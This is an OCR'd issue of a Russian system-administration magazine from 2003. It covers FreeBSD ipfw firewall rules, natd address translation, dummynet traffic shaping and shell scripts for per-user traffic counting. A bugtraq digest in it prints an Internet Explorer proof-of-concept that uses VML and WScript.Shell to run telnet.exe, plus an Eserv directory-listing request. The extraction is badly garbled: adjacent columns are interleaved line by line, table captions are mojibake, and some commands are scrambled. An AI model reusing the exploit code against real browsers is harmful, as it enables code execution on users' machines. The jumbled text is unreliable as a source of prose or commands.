# ipfw add 5000 deny icmp from any to ${external} ↵ теля и обратно. Это несколько уменьшает произво-
in icmptypes 8
# ipfw add 5100 allow icmp from ${external} ↵ дительность.
to
# ipfw
any out icmtypes 8
add 5200 allow icmp from any to ${external} ↵
 ipnat
in icmptypes 0 Трансляция адресов выполняется ядром системы.

Правило 5000 запрещает входящие (in), а правило 5100 Каждый из этих механизмов имеет собственные спо-
разрешает исходящие (out) ICMP эхо-запросы (ECHO собы настройки. Здесь рассматривается только первый
REQUEST, 8). Правило 5200 разрешает эхо-ответы (ECHO вариант, то есть обеспечение маскарадинга с помощью
REPLY, 0), приходящие на наш хост. natd.
Последним правилом, которое подводит черту под
настройкой фильтрации пакетов, является запрет всего, Настройка natd
что не разрешено: Демон natd является процессом, работающим в простран-
стве пользователя (то есть не в пространстве ядра). Сле-
# ipfw add 64000 deny ip from any to any довательно, пакеты, которые он обрабатывает, должны
как-то к нему попасть. Действие divert пакетного фильтра
Правило должно встать перед правилом 65000, кото- может справиться с такой задачей.
рым мы ранее разрешили весь трафик. Если к пакету применяется действие divert, он переда-
ется на соответствующий сокет и его обработка фильт-
ром пакетов на этом прекращается (если сокет закрыт
Трансляция адресов или не существует, пакет просто уничтожается).
Например, для того чтобы все пакеты, которые отправ-
Что это такое, и зачем нужна лены из сети 192.168.15.0 и проходят через интерфейс
трансляция адресов ${natd_interface}, передавались демону natd, нужно моди-
IP-адреса (и другие параметры заголовков) пакетов, про- фицировать правила таким образом:
ходящих через хост, можно изменять. Измененение IP-
адреса отправителя дает возможность скрывать несколь- # ipfw add divert 8868 tcp from 192.168.15.0/24 ↵
to any via ${natd_interface}
ко адресов хостов одним, а IP-адреса получателя, на-
пример, распределять нагрузку между несколькими хо- Здесь ${natd_interface} – интерфейс, через который
стами. Изменение порта отправителя в некоторых слу- пакеты уходят из сети во внешний мир, а 8868 – номер
чаях позволяет обходить ненужные брандмауэры, а пор- сокета, на котором ведет прослушивание natd. Вместо
та получателя, к примеру, организовать прозрачную ра- 8868 можно написать символическое имя порта: natd.
боту прокси-сервера. Для того чтобы трансляция адресов работала, необ-
В частном случае нужно выполнить маскарадинг, то ходимо, чтобы natd получал и все пакеты, которые воз-
есть скрытие множества хостов, работающих с разными вращаются обратно. Можно пойти еще дальше и переда-
IP-адресами, одним. вать демону natd вообще все пакеты, которые проходят
Из-за ограниченности адресного пространства IP, каж- через ${natd_interface}:
дый хост, который пользуется услугами Интернета, не
может получить собственного IP-адреса. В этом случае # ipfw add divert 8868 tcp from any to any via ${natd_interface}
используются адреса из диапазонов 10.x.x.x, 192.168.x.x.,
172.16.x.x.-172.31.x.x. Эти адреса зарезервированы для Собственно, настройка ipfw дает только то, что па-
внутреннего использования и не могут встретиться в Ин- кеты будут переданы демону natd. Основная работа вы-
тернете. Компьютеры, имеющие такие адреса, могут об- полняется самим демоном, так что нужно сконфигури-
щаться друг с другом в пределах одной сети, но не могут ровать и его.
выходить за ее пределы: пакеты, имеющие такие адреса, Конфигурация natd задается либо аргументами его
будут попросту уничтожаться. командной строки, либо конфигурационным файлом /etc/

30
администрирование
natd.conf (имя конфигурационного файла должно быть Теперь, когда natd получает весь внешний трафик,
указано при вызове natd с ключом -f). Параметры конфи- он должен правильно обработать его. Задача конфигу-
гурационного файла и аргументы командной строки natd рирования natd сводится к выбору набора директив, ко-
в точности повторяют друг друга, с той разницей, что ког- торые должны быть указаны в конфигурационном фай-
да параметр указывается в командной строке, перед ним ле /etc/natd.conf или в качестве аргументов при запус-
нужно поставить минус. Например, сказать: ке natd.
Конфигурация выглядит так (вместо переменной
# natd -interface xl0 ${external} нужно указать имя интерфейса, например xl0
или en1, а вместо ${proxy} и ${mailhub} нужно подставить
значит то же самое, что и просто: соответствующие IP-адреса):

# natd -f /etc/natd.conf interface ${external}


proxy_rule port 80 server ${proxy}:3128
redirect_port tcp ${mailhub}:25 25
когда в конфигурационном файле /etc/natd.conf находится:
Первый параметр указывает, что маскировка внутрен-
interface xl0 них компьютеров должна проводиться адресом внешнего
интерфейса ${external}.
Второй параметр заставлет natd перенаправлять все
Пример настройки трансляции адресов соединения по 80 порту на порт 3128 прокси-сервера
Итак, пусть наша сеть подключается через шлюз к Ин- ${proxy}. Для того чтобы прозрачное проксирование ра-
тернету. Шлюз имеет два интерфейса: ${internal} – внут- ботало, сервер должен быть настроен соответствующим
ренний и ${external} – внешний. Компьютеры внутри сети образом.
имеют адреса из диапазона, рекомендованного для ис- Последнее правило обеспечивает перенаправление
пользования внутри сетей. Необходимо: входящих SMTP-соединений на хост ${mailhub} внутри
 обеспечить маскирование компьютеров с внутренни- сети. Теперь почтовый сервер и брандмауэр разнесены
ми адресами внешним адресом интерфейса; на разные машины. Стоит отметить, что поскольку 25-й
 дать возможность работать прозрачному прокси-сер- порт хоста ${mailhub} выставлен в Интернет, хост следу-
веру ${proxy}; ет размещать внутри DMZ, а на безопасности програм-
 перенаправлять входящие из Интернета соединения мы почтового сервера этого хоста сосредоточить уси-
по 25 порту на хост ${mailhub} внутри сети. ленное внимание.

Все перечисленные задачи решаются с помощью natd.


Первым делом необходимо изменить правила фильтра- Регулировка величины трафика
ции пакетов так, чтобы трафик, проходящий через вне-
шний интерфейс, обрабатывался демоном: Что такое регулировка трафика,
и зачем она нужна
# ipfw add 6000 divert natd ip from any to any via ${external} В простейшем случае задача регулировки трафика фор-
мулируется так: через наш шлюз проходит информаци-
Òàáëèöà 4. Îïöèè natd.

№6(7), июнь 2003 31


администрирование
онный поток A величной V(A). Мы хотим ограничить этот которые в этом случае должны были быть указаны как
поток каким-нибудь значением Vmax. То есть, грубо гово- дополнительные аргументы команды парами параметр
ря, сделать так, чтобы все, что выходит за пределы заче- значение.
ния Vmax, попросту уничтожалось1. Для того чтобы ограничить поток даных, который пе-
Каждому потоку назначается специальный буфер, ра- редается из Интернета на машину в сети, нужно регули-
ботающий по принципу очереди. Буфер наполняется с той ровать исходящий поток со шлюза на эту машину.
скоростью, с какой в него поступают данные (Vin), а опу- В том случае, когда нужно ограничить скорость пере-
стошается со скоростью, не превышающей заданную дачи информации из Интернета на хост, находящийся в
(Vout). В том случае, если Vin находится в допустимых локальной сети, следует изменять скорость исходящего
пределах, поток проходит через буфер в полном объеме. потока. То есть скорость того потока, который уходит со
Если же буфер наполняется быстрее, чем опустошается, шлюза на хост. Нельзя уменьшить скорость, с которой
может наступить такой момент, когда он будет полностью данные передаются из Интернета. Это вызывает вопрос:
заполнен и вновь поступающие данные будут попросту зачем уничтожать информацию после того, как она уже
уничтожаться. попала в нашу сеть? Ведь она уже прошла по входящему
Можно не только ограничивать трафик, но и вносить, каналу и уже заняла там какое-то место? Все действи-
например, задержку в него, или уничтожать пакеты с за- тельно так, но в этом случае в силу вступают механизмы
данной вероятностью. Как правило, это делается для ре- регулирования потока TCP, которые не позволят в следу-
шения каких-либо экспериментаторских задач, но иногда ющий раз отправлять хосту информации больше, чем он
может быть полезно и в чисто практических целях. способен принять.
Средства, которые управляют трафиком подобным Òàáëèöà 5. Ïàðàìåòðû êàíàëà dummynet.
образом, называют трафик-шейперами (traffic-shaper),
формирователями или регулировщиками трафика.

Трафик-шейпер в FreeBSD
В состав ядра FreeBSD входит модуль dummynet, кото-
рый позволяет эмулировать канал связи, обладающий
 ограниченной полосой пропускания;
 задержкой распространения;
 вероятностью потери пакета; Просмотреть информацию о канале можно с помощью
 очередью пакетов заданного размера. команды:

Этот модуль можно использовать в качестве трафик- # ipfw pipe 1 list


шейпера.

Настройка трафик-шейпера
Настройка трафик-шейпера на основе dummynet произ-
водится с помощью утилиты ipfw. Для того чтобы напра-
вить какой-либо трафик через канал dummynet, нужно: Она выдает не только сведения о канале, но и о со-
 создать канал; единениях, которые проходят через этот канал.
 указать, какой именно трафик должен быть в канал
направлен;
 настроить канал на работу с заданными параметрами. Учет трафика
Учет трафика выполняется с помощью системы фильтра-
Два первых шага совмещаются в одном и выполняют- ции пакетов IPFW. Собственно, подсчитывать трафик –
ся командой ipfw add pipe. Например, команда: это еще одна задача этой подсистемы.
Все пакеты, которые соответствуют какому-либо пра-
# ipfw add pipe 1 tcp from any to 192.168.15.1 out вилу автоматически учитываются системой фильтрации.
Посмотреть, чему равны счетчики для каждого из правил
создает канал 1 (pipe 1) и направляет через него весь tcp- можно командой ipfw:
трафик, отправленный не важно кем (from any) хосту
192.168.15.1 (to 192.168.15.1); при этом трафик должен # ipfw -a list
65535 4386 844198 allow ip from any to any
быть исходящим (out).
Для того чтобы настроить сам канал pipe, нужно дать Ключ -a команды заставляет ее показывать не только
команду ipfw pipe. Например, команда: список правил, но и счетчики каждого из них. Строка содер-
жит три числа: номер правила (65535), количество пакетов
# ipfw pipe 1 bw 10KB (4386) и байт (844198), которые совпали с правилом.
Если все, что нужно сделать с трафиком, – это под-
ограничивает полосу пропускания канала pipe 1 значе- считать его (то есть к нему не нужно применять ника-
нием 10 Кб/с. Канал мог бы иметь и другие параметры, ких других действий, для данного типа трафика у филь-

32
администрирование
тра нет специального правила), следует использовать Òàáëèöà 6. Îïöèè êîíôèãóðàöèè ÿäðà, îòíîñÿùèåñÿ ê ôèëüòðó ïàêåòîâ.
действие count.
Например, для того чтобы подсчитать весь трафик, ко-
торый направляется из подсети 192.168.15.0 и который
проходит через даный хост, нужно добавить правило:

# ipfw add count ip from 192.168.15.0/24 to any

Это правило не затронет никаких остальных правил


фильтрации, которые идут за ним. Например, если далее
явным образом разрешается прохождение трафика с
192.168.15.1 и запрещается с 192.68.15.2, они будут ра-
ботать как и до этого.
Правила подсчета трафика лучше всего ставить в на-
чало цепочки, то есть там, где они учтут все пакеты, даже
те из них, которые будут после отброшены.

Работа с ipfw
Настройка ядра для поддержки ipfw
Для того чтобы ядро выполняло фильтрацию пакетов, нуж-
но, чтобы в его состав были включены соответствующие Настройка ipfw и natd при загрузке
модули. Настройки пакетного фильтра, которые выполняются при
Для этого необходимо поправить файл конфигурации помощи утлиты ipfw, действительны только до перезаг-
ядра и пересобрать ядро системы. В файле /usr/src/sys/ рузки. Для того чтобы сделать их постоянными, необхо-
i386/conf/ВАШЕ_ЯДРО нужно добавить такие строки: димо, чтобы фильтрация настраивалась каждый раз при
загрузке системы.
options IPFIREWALL Напомним, что конфигурация загрузки системы опре-
options IPFIREWALL_VERBOSE
options IPFIREWALL_VERBOSE_LIMIT=10 деляется файлом /etc/rc.conf. В нем описываются пере-
options IPFIREWALL_DEFAULT_TO_ACCEPT менные, которые сообщают загрузочным скриптам, как
они должны себя вести. Для того чтобы повлиять на ра-
и пересобрать его. Последние три опции являются необя- боту загрузочных скриптов, следует изменять значения
зательными. Первая опция должна использоваться все- переменных, устанавливаемых в этом файле.
гда, если нужно включить поддержку ipfw в ядро. При запуске машины главный загрузочный скрипт /etc/
Для поддержки модуля dummynet нужно добавить оп- rc.conf вызывает скрипт настройки сети /etc/rc.network2;
цию DUMMYNET в конфигурационный файл ядра: он, в свою очередь, вызывает /etc/rc.firewall. Скрипт /etc/
rc.firewall выполняет настройку брандмауэра.
options DUMMYNET В FreeBSD описано несколько типовых конфигураций
брандмауэра. Типовая конфигурация выбирается с помо-
Дополнительные параметры, которые могут быть полез- щью переменной firewall_type.
ны при тонкой настройке dummynet, это NMBCLUSTERS и  OPEN
HZ. Первый позволяет указать объемы сетевых буферов, Брандмауэр пропускает все пакеты.
а второй – точность (granularity) таймера.  CLIENT
Если шлюз выполняет трансляцию адресов с помощью Брандмауэр настроен так, как должен быть настроен
демона natd, нужно чтобы ядро могло обеспечить пере- стандартный клиентский компьютер. Он разрешает все
дачу ему пакетов с помощью так называемых divert-соке- исходящие соединения, и запрещает все входящие со-
тов. Поддержка divert-советов в ядре включается с помо- единения, кроме соединений по 25 порту.
щью опции IPDIVERT: Брандмауэр:
 пропускает пакеты, которые отправляются хостом
options IPDIVERT ${ip} в локальную сеть {net}:{mask};
 разрешает все исходящие соединения с хоста;
После того как конфигурация ядра изменена, его пе-  разрешает все входящие соединения на 25 порт;
ресборку и инсталляцию можно выполнить командами:  запрещает все остальные входящие TCP-соединения;
 разрешает прохождение UDP-пакетов по портам
# /usr/sbin/config ÂÀØÅ_ßÄÐÎ DNS (53) и NNTP (123);
# cd ../compile/ÂÀØÅ_ßÄÐÎ
# cd ../../compile/ÂÀØÅ_ßÄÐÎ  все остальные пакеты рассматриваются правилом
# make depend по умолчанию, которое определяется конфигура-
# make
# make install цией ядра.

№6(7), июнь 2003 33


администрирование
 SIMPLE Изменения конфигурации фильтра пакетов вступят в
Простеший брандмаэур, защищающий локальную сеть силу после перезагрузки компьютера. Чтобы они стали
от проникновения из Интернета. Правила фильтрации действительными прямо сейчас, можно выполнить3:
точно такие же, как и в CLIENT, но:
 Есть поддержка natd. Выполняется передача IP-па- # sh /etc/rc.conf /etc/rc.firewall
кетов на divert-сокет демона natd при условии, что
natd_enable=YES; При удаленном администрировании нужно быть осто-
 Выполняется защита от IP-спуфинга. Пакеты, ко- рожным, чтобы нечаянно не закрыть себе доступ к хосту.
торые имеют адреса, предназначенные для исполь- Òàáëèöà 7. Íåêîòîðûå ïàðàìåòðû /etc/rc.conf.
зования внутри локальных сетей 10.x.x.x, 172.16.x.x-
172.31.x.x, 192.168.x.x. (RFC 1918), не пропускают-
ся по внешнему интерфейсу. Также удаляются па-
кеты из внешней сети, которые имеют адрес воз-
врата из сети внутренней.

Адреса внутренней {inet}:{imask} и внешней {onet}:{omask}


сети, а также адреса внутреннего ${iif} и внешнего ${oif}
интерфейсов указываются в файле /etc/rc.firewall. Зна-
чения ${ip}, ${net} и ${mask} следует вручную устанавли-
вать в файле /etc/rc.firewall.
 CLOSED
Разрешается только трафик через локальный интер-
фейс lo0. Прохождение остального трафика опреде-
ляется правилом по умолчанию. Брандмауэр в режи-
ме CLOSED закрыт только в том случае, если правило
по умолчанию установлено ядром в deny.
 UNKNOWN
Брандмауэр никак не настраивается. Будет он пропус-
кать трафик или нет, определяется конфигурацией
ядра системы. Используется по умолчанию.
 файл
Правила брандмауэра загружаются из внешнего фай-
ла. Имя файла определяется значением переменной
firewall_type. Дополнительные аргументы ipfw могут Дополнительная информация
быть переданы с помощью firewall_flags. Файл должен 1. ipfw (8) – руководство пользователя программы ipfw.
содержать команды ipfw в том виде, в каком они ука- 2. natd (8) – руководство пользователя программы natd.
зываются в его командной строке. Например: 3. dummynet (4) – описание модуля dummynet.
4. http://info.iet.unipi.it/~luigi/ip_dummynet/ – домашняя
add deny icmp from any to any страница проекта dummynet.
add deny ip from 1.2.3.4 to any
allow tcp from any to any established 5. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO –
IPFW HOWTO: исчерпывающее руководство по исполь-
В простейших случаях можно воспользоваться од- зованию IPFW в FreeBSD.
ним из этих вариантов, но если нужна более тонкая на- 6. http://www.freebsd-howto.com/HOWTO/Ipfw-HOWTO –
стройка, придется описывать правила фильтрации са- NAT HOWTO: руководство по трансляции адресов с
мостоятельно. Нужно создать файл, содержащий пра- помощью natd в FreeBSD.
вила фильтрации и указать имя этого файла в качестве 7. http://www.deadly.org/article.php3?sid=20030325141427 –
firewall_type. PF for FreeBSD 5.0
Если нужно, чтобы шлюз выполнял трансляцию адре-
1
сов, в /etc/rc.conf следует указать natd_enable=YES. Это В действительности задача управления трафиком зна-
приведет к тому, что при загрузке автоматически будет чительно сложнее, но даже такая упрощенная форму-
запускаться демон natd. Нужно указать еще natd_interface, лировка является полезной и позволяет решить мно-
для того чтобы natd знал, какой интерфейс является вне- жество практических задач.
2
шним, и natd_flags="-f /etc/natd.conf", чтобы natd знал, от- Точнее, функции, которые в нем описаны. Скрипт не
куда ему брать свою конфигурацию. Можно описать кон- делает ничего, кроме того, что описывает несколь-
фигурацию natd прямо в этой строке и не выносить ее во ко функций инициализации сети. Вот почему запуск
внешний файл. sh /etc/rc.network сам по себе ничего не дает.
3
При трансляции адресов скрипт /etc/rc.firewall не запус-
natd_enable="YES" кает natd, а только настраивает divert-правила. Нужно за-
natd_inteface="lnc0"
natd_flags="-f /etc/natd.conf" пустить его вручную, но при этом не забыть аргументы.

34
bugtraq
DoS против Cisco ONS Две уязвимости в Eserv
Несколько FTP- и Telnet-уязвимостей обнаружены в Две уязвимости обнаружены в Eserv. Удаленный пользо-
Cisco ONS для Cisco ONS15454, ONS15327, ватель может использовать веб- и FTP-сервис как про-
ONS15454SDH и ONS15600 оптических сетевых компо- кси. Удаленный пользователь может также просматривать
нентов. Удаленный пользователь может перезагрузить содержание веб-директорий.
карту управления устройством. Damage Hacking Group сообщает, что удаленный
Сообщается, что удаленный пользователь может послать пользователь может представить следующий HTTP-зап-
специально обработанный FTP- или Telnet-пакет к интерфей- рос, чтобы просмотреть содержание веб-директории:
су управления устройством, который заставит перезагру-
GET /? HTTP/1.1
зиться карты управления TCC+, XTC, TCCi или TSC.
Уязвимость обнаружена в Cisco ONS15454 Optical Также сообщается, что удаленный пользователь мо-
Transport Platform, Cisco ONS15327 Edge Optical Transport жет использовать HTTP- и FTP-сервис как прокси-сервер,
Platform, Cisco ONS15454SDH Multiplexer Platform и Cisco даже если используется авторизация паролем или если
ONS15600 Multiservice Switching Platform. прокси-сервер отключен.
По словам производителя, эта уязвимость не суще-
ствует в заданной по умолчанию конфигурации.
Выполнение произвольного кода Уязвимость обнаружена в Eserv 2.95 - 2.99.
сценария в зоне "My Computer"
в Internet Explorer
Уязвимость обнаружена в Microsoft Internet Explorer (IE). Утечка памяти
Удаленный пользователь может сконструировать HTML, в 3Com OfficeConnect DSL Router
который при загрузке в браузере целевого пользователя позволяет удаленному пользователю
выполнит произвольный код сценария на системе целе- просматривать предыдущие HTTP-запросы
вого пользователя в зоне безопасности "My Computer". Утечка памяти обнаружена в OfficeConnect Remote 812
Удаленный пользователь может сконструировать сле- ADSL Router. Удаленный пользователь, способный конт-
дующий HTML, который может обратиться к Web Folder ролировать сеть, может просматривать предыдущие
целевого пользователя: HTTP-запросы.
Удаленный пользователь, способный контролировать
<body onload=malware() сетевой трафик для DHCP-пакетов, может просматривать
style="behavior:url(#default#httpFolder);">
<script> предыдущие HTTP-запросы, обработанные маршрутиза-
function malware(){document.body.navigate тором (даже если удаленный пользователь не способен
("http://www.microsoft.com");}
</script> просматривать первоначальные HTTP-запросы). Сообща-
ется, что пакеты DHCP-ответа включают DHCP-данные,
Если Web Folder не существует, во временной папке записанные поверх предыдущих HTTP-запросов, включая
будет создан файл ошибки 'wecerr.txt' (скриншот здесь: POST-запросы со значением полей и данных.
http://www.malware.com/behave.png). Содержание файла Уязвимость обнаружена в 3Com OfficeConnect DSL
может быть определено удаленным пользователем. Router, firmware version 1.1.7.
Удаленный пользователь может заставить Windows
Media Player создать HTML IFRAME, содержащий asf media
файл, который загрузит временный локальный файл Переполнение буфера
(mhtml:file://C:\WINDOWS\TEMP\wecerr.txt). Так как Windows в Encrypted Virtual File System
Media Player запущен локально, локальный файл будет от- позволяет локальному пользователю
крыт. HTML-код будет открыт как “Temporary Internet File”. получить root-привилегии
Однако эту меру защиты можно обойти, если создать вто- Переполнение буфера обнаружено в Encrypted Virtual File
рой wecerr.txt файл (перезаписывая первый) в это время с System (EVFS). Локальный пользователь может выполнить
другим (и злонамеренным) содержанием типа: произвольный код с root-привилегиями.
<xml xmlns:v = "urn:schemas-microsoft-com:vml">
Сообщается, что локальный пользователь может под-
ключить каталог, используя EVFS со специально обрабо-
<v:rect id="malware" fillcolor="red" танными параметрами 'from', 'to', и 'password', чтобы выз-
style="position:relative;top:1;left:1;width:20;height:20"
onmouseover="javas cript:alert(document.location);var вать переполнение буфера. На системах, в которых ути-
wsh=new лита конфигурирована с set user id (setuid) root-привиле-
ActiveXObject('WScript.Shell');wsh.Run('telnet.exe');''">
</v:rect> гиями, локальный пользователь может выполнить произ-
</xml> вольный код с root-привилегиями.
Поскольку VML-фрейм записан поверх первоначаль- Уязвимость обнаружена в Encrypted Virtual Filesystem
ного файла wecerr.txt, VML-фрейм может быть обработан (EVFS) 0.2.
IE. Поскольку извлеченный HTML-файл был первоначаль-
но извлечен локально, код будет выполнен в зоне безо-
пасности "My Computer".
Уязвимость обнаружена в Microsoft Internet Explorer 5.5-6.0. Составил Александр Антипов

№6(7), июнь 2003 35


администрирование

СКРИПТЫ ДЛЯ ПОДСЧЕТА ТРАФИКА:


ПРИМЕР РЕАЛИЗАЦИИ В FreeBSD

Среди прочих задач системного администратора «написание скриптов» занимает немало места.
Но существует эта задача не сама по себе, а в качестве средства автоматизации, призванного
свести объем рутинной работы к минимуму. Вместе с тем сам язык, на котором пишутся скрипты
(а в данной статье пойдет речь о Bourne shell), достаточно развит, чтобы перевести скрипты
из разряда «набора команд» для оптимизации в разряд небольших программ, выполняющих
в системе полезные функции. Более того, во многих случаях применение именно этого языка
наиболее оправданно, поскольку позволяет упростить до предела изначально сложные задачи.

ДЕНИС ПЕПЛИН
36
администрирование
Довольно часто с помощью скриптов решается задача только позволяет разделить скрипт на две части, но даже
учета трафика. Они могут применяться не только для в случае необходимости разнести эти части по разным
обработки выходных данных, но и для настройки пара- серверам в случае, если программное обеспечение, ре-
метров учета. В качестве примера можно привести про- гистрирующее вход пользователей, и шлюз во внешнюю
грамму ipa, которая считает трафик по правилам ipfw сеть располагаются на разных серверах.
или ipf. Если количество правил невелико и меняется Разделение скрипта на части полезно еще и по со-
редко, то и сами правила и параметры настройки ipa ображениям сохранения простоты каждой из частей. Не-
несложно добавить вручную. Другое дело, если коли- смотря на то что скриптовый язык довольно развит, при
чество правил достигает нескольких десятков или боль- написании скриптов рекомендуется придерживаться так
ше, и они часто меняются. называемого принципа KISS (Keep It Simple Stupid). Чем
Крайний случай такой ситуации – динамическое рас- примитивнее скрипт, тем меньше вероятность того, что
пределение IP-адресов. Причём это не обязательно в нем допущены ошибки. Сложные конструкции не при-
dhcp: в условиях офиса не всегда за каждым пользо- ветствуются.
вателем закреплено отдельное рабочее место, и рас- В отличие от языков более низкого уровня (напри-
пределение адресов по пользователям приобретает не- мер, C), скрипты идеально подходят для организации
которую динамичность. взаимодействия программ. Именно это их качество по-
В таких условиях в большинстве случаев наиболее це- могает решать сложные задачи простыми способами –
лесообразным выглядит установка прокси-сервера (на- несравнимо проще, чем это можно было бы сделать на
пример, Squid+ntlm) и учет проходящего через него трафи- том же C.
ка. С точки зрения иерархии сети трафик проходит через Хорошей иллюстрацией этому утверждению может по-
прикладной уровень стека TCP/IP и подсчитывается имен- служить, к примеру, задача сбора информации на при-
но там. Действительно, это самый очевидный способ: та- кладном уровне.
кое понятие, как «пользователь», появляется именно на Зачастую в качестве контроллера домена NT-сети
прикладном уровне. На сетевом уровне никаких пользо- применяется пакет Samba. Как известно, он помогает во-
вателей нет, есть лишь IP-адреса. обще избавиться от серверной ОС Windows во многих
Именно поэтому попытки посчитать трафик по пользо- случаях. В составе пакета Samba есть программа
вателям на сетевом уровне приносят лишь проблемы. smbstatus. С ее помощью можно получить список под-
Ведь адрес нельзя закрепить именно за пользователем, ключений к сетевым ресурсам и информацию о блоки-
можно лишь закрепить его за отдельным компьютером и ровках файлов. Формат данных, выдаваемых этой про-
надеяться, что пользователь не пересядет на другое мес- граммой, примерно такой:
то, а на его место не сядет другой. Применение dhcp в
Data store user group 76905 buhgalter (192.168.0.3)↵
этом случае также нужно исключить. Fri Apr 11 15:25:38 2003
Не совсем стандартный путь – применение информа- 76905 DENY_WRITE 0x20089 RDONLY EXCLUSIVE+BATCH ↵
/pub/file.txt Thu Apr 11 17:30:46 2003
ции, полученной с прикладного уровня, для учета трафи-
ка на сетевом уровне. Объем этой информации должен
быть минимален: необходимо лишь связать имя пользо- Перевести эти данные в список подключенных пользо-
вателя с IP-адресом компьютера, на котором он работа- вателей можно с помощью следующего скрипта (назовем
ет. Для первоначального конфигурирования потребуется его count_samba):
список вида:
#!/bin/sh
smbstatus | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}" \
user1 192.168.0.11 | colrm 1 13 | grep -v -E "^nobody|^root" \
user2 192.168.0.123 | awk '{printf(" %s %s\n",$1,$5)}' \
... | sort | uniq | sed 's/[()]//g'

Для последующей динамической перенастройки дос- Данные от smbstatus преобразуются последователь-


таточно зафиксировать факт входа в сеть (выхода из сети) ностью утилит: сначала выбираются строки с IP-адреса-
и все те же имя и адрес. Если обозначить вход/выход зна- ми, затем удаляется информация об именах ресурсов,
ками +/-, получится список вида: удаляются строки с пользователями nobody и root, выво-
дится информация о пользователе и адресе, которая за-
+ user3 192.168.0.98 тем сортируется, повторяющиеся строки удаляются и, на-
- user2 192.168.0.123
... конец, удаляются скобки вокруг IP-адреса.

Его можно обобщить и на случай первоначального Символ “|” означает связывание программ с помощью
конфигурирования, тогда перед каждой строкой будет канала (pipe), то есть стандартный вывод предыдущей
знак “+”. программы связывается со стандартным вводом после-
Сам процесс динамического переконфигурирования дующей. Это простейшее средство однонаправленного
системы учета трафика таким образом разделяется на межпроцессного взаимодействия довольно широко при-
два этапа: сбор информации согласно приведенному меняется в Unix именно из-за своей простоты. Как извес-
выше протоколу и собственно настройка системы учета. тно, чем проще инструмент, тем он надежнее – каналы
Наличие минимального одностороннего протокола не как раз и есть этот простой и надежный инструмент. Од-

№6(7), июнь 2003 37


администрирование
ной из основ идеологии Unix является использование не- Полученных данных вполне достаточно для первона-
скольких простых утилит, связываемых через такие ка- чальной настройки системы учета трафика, для динами-
налы, вместо одной большой и сложной программы (ра- ческой переконфигурации потребуется информация в
зумеется, только в тех случаях, когда этого достаточно формате «+/- user address». Далеко не самое изящное
для решения поставленной задачи). решение, но, очевидно, в данной ситуации самое простое
Символ “\” в конце строки указывает sh считать следу- – сохранять информацию о текущих подключениях, а за-
ющую строчку продолжением предыдущей. Можно, конеч- тем через некоторый промежуток времени сравнивать со
но, написать все в одну строчку, но в таком случае чита- вновь полученной информацией. Очень подходит для этой
бельность скрипта уменьшится. цели diff. Весь скрипт выглядит так (файл count_user):
В примере выше каждая из используемых утилит об-
рабатывает входной поток построчно. Посмотреть, как #!/bin/sh
изменяются данные от одной программы к другой, можно count_list="samba pppd"
последовательно подсоединяя к выходному потоку по sleeptime=20
TMPDIR="/var/tmp"
одной программе, выстраивая их в цепочку.
Программа grep выбирает линии, соответствующие export TMPDIR
tmpfile=`mktemp -q -u -t count` || exit 1
указанному регулярному выражению. Ключ -E использу-
ется вместе с расширенными регулярными выражения- cleanup ()
{
ми. Выражение "([0-9]{1,3}\.){3}[0-9]{1,3}" соответствует rm -f $tmpfile.?
любому IP-адресу, а «^nobody|^root» – строкам, начинаю- }
щимся с «nobody» или «root» (символ “|” здесь означает trap : 1
ИЛИ). Ключ -v указывает выбирать строки, не соответ- trap : 2
trap : 15
ствующие заданному регулярному выражению. Подроб- set -T
нее о регулярных выражениях можно почитать на страни- trap "cleanup; exit" 1 2 15
це руководства grep(1). bindir=$(dirname $0) || exit 1
Awk представляет собой язык программирования,
count_eval=""
предназначенный для работы с таблицами. Несмотря на for progname in $count_list
то что язык этот не самый простой, в нашем случае awk do
if [ $count_eval ] ; then
вполне подходит под определение простой утилиты. Все count_eval="$count_eval ; $bindir/count_$progname"
дело в том, как awk обрабатывает входной поток: каждая else
count_eval="$bindir/count_$progname"
строка разбивается на поля, значения которых присваи- fi
ваются внутренним переменным awk $1, $2 и т. д. по чис- done
лу полей. Разделителем полей по умолчанию служат про- count_num=0
белы или табуляция. Воспользовавшись этим свойством touch $tmpfile.$count_num
awk, можно легко оставить в каждой строке только пер- while [ ! ]
вое и пятое поле (имя пользователя и адрес), напечатав do
if ! ps $PPID >/dev/null 2>&1
их встроенной функцией printf (значение пробела в нача- then
ле строки будет пояснено позже). echo "Parent process died. Cleanup and exit."
>&2
Вмешивается в эту идиллическую картину только имя break
ресурса, которое может содержать пробелы (как в при- fi
count_old=$count_num
мере выше) и с точки зрения awk состоять из нескольких test $count_num -eq 1
полей. Поскольку в выводе smbstatus имя ресурса зани- count_num=$?
eval $count_eval | tee $tmpfile.$count_num \
мает фиксированное число символов, его можно удалить | diff -b -u $tmpfile.$count_old - \
с помощью colrm, параметрами которой служат номера | grep "^[+-] [a-z]" | sort -r
sleep $sleeptime
первой и последней колонки текста, которые нужно уда- done
лить (colrm каждый символ в строке воспринимает как cleanup
отдельную колонку).
Sort и uniq в отдельном пояснении не нуждаются, их Основная содержательная часть скрипта уместилась
назначение полностью понятно из названия, а вот sed на трех строчках: текущее состояние сравнивается с пре-
более интересен. Это потоковый редактор (Stream EDitor), дыдущим с помощью diff, вывод которой фильтруется grep
который помимо всего прочего может заменять соответ- и сортируется в обратном порядке (так что сначала пой-
ствующие заданному регулярному выражению подстро- дут строки с “-”, а затем “+”. Далее следует задержка на
ки. В приведенном примере это встроенная команда sed несколько секунд, после чего сравнение повторяется. Имя
“s” (substitute), регулярное выражение “[()]” соответствует временного файла выбирается один раз, файлы текуще-
символам “(“ и “)”, которые заменяются на “”, то есть про- го и предыдущего состояния отличаются расширениями
сто удаляются. Ключ “g” указывает заменять все симво- 0 или 1. Перехват прерываний необходим для удаления
лы в строке, попадающие под регулярное выражение, а временных файлов по завершении работы.
не только первый. В качестве источника данных о подключениях исполь-
зуются сразу два скрипта: count_samba и count_pppd. Воз-
можно, что для учета трафика пользователей, подключен-

38
администрирование
ных через удаленный доступ, лучше было бы использо- для анализа строк и числовых выражений, а во всех ос-
вать сам pppd, но скрипт count_pppd – очень неплохой при- тальных случаях используется непосредственно заверша-
мер того, как просто использовать для получения списка ющий код какой-либо программы. Более подробно об ис-
пользователей не только samba, но и любое другое при- пользовании test можно прочитать на соответствующей
ложение, способное выдать такой список. В данном слу- странице руководства.
чае это who, а адреса берутся из /etc/ppp/options.<ttyname>: Отсюда следует важное отличие от C: если там «ис-
тинным» в управляющих конструкциях считается выраже-
